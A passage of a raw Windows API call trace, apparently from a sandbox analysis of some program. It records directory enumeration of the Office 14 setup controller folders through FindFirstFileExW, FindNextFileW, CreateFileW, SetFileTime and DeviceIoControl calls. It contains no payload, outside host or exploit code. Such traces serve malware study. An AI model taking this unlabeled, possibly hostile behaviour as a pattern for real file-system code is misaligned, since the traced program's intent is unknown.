ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 0 [0236.534] GetLastError () returned 0x12 [0236.534] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0236.534] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.534] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0236.534] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.534] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="")) returned 1 [0236.534] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.534] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0236.568] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.568] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x909868 [0236.568] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x909868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x909868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0236.568] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909868) returned 1 [0236.569] NtClose (Handle=0x1b4) returned 0x0 [0236.569] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.569] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0236.569] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.569] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="")) returned 1 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.569] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.569] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0236.569] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908d38 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9083b0 [0236.569] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.569] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.569] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.569] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.570] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.570] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.570] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908d58 [0236.570] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9084b8 [0236.570] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.570] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.570] GetLastError () returned 0x12 [0236.570] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.570] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.570] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.570] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="")) returned 1 [0236.570] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.570] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.570] GetLastError () returned 0x12 [0236.570] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0236.570] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.570] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0236.570] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.570] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0236.570] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0236.570] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="")) returned 1 [0236.570] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0236.583] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x909868 [0236.583] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x909868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x909868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0236.583] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909868) returned 1 [0236.583] NtClose (Handle=0x1b8) returned 0x0 [0236.583] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0236.584] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.584] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.584] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="")) returned 1 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0236.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908d78 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9085c0 [0236.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.584] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908d98 [0236.584] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9086c8 [0236.584] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.584] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.584] GetLastError () returned 0x12 [0236.584] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.585] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.585] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.585] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="")) returned 1 [0236.585] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.585] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.585] GetLastError () returned 0x12 [0236.585] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0236.585] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.585] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0236.585] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.585] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0236.585] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0236.585] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="")) returned 1 [0236.585] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="")) returned 1 [0236.585] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0236.726] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.726] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x909868 [0236.727] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x909868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x909868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) 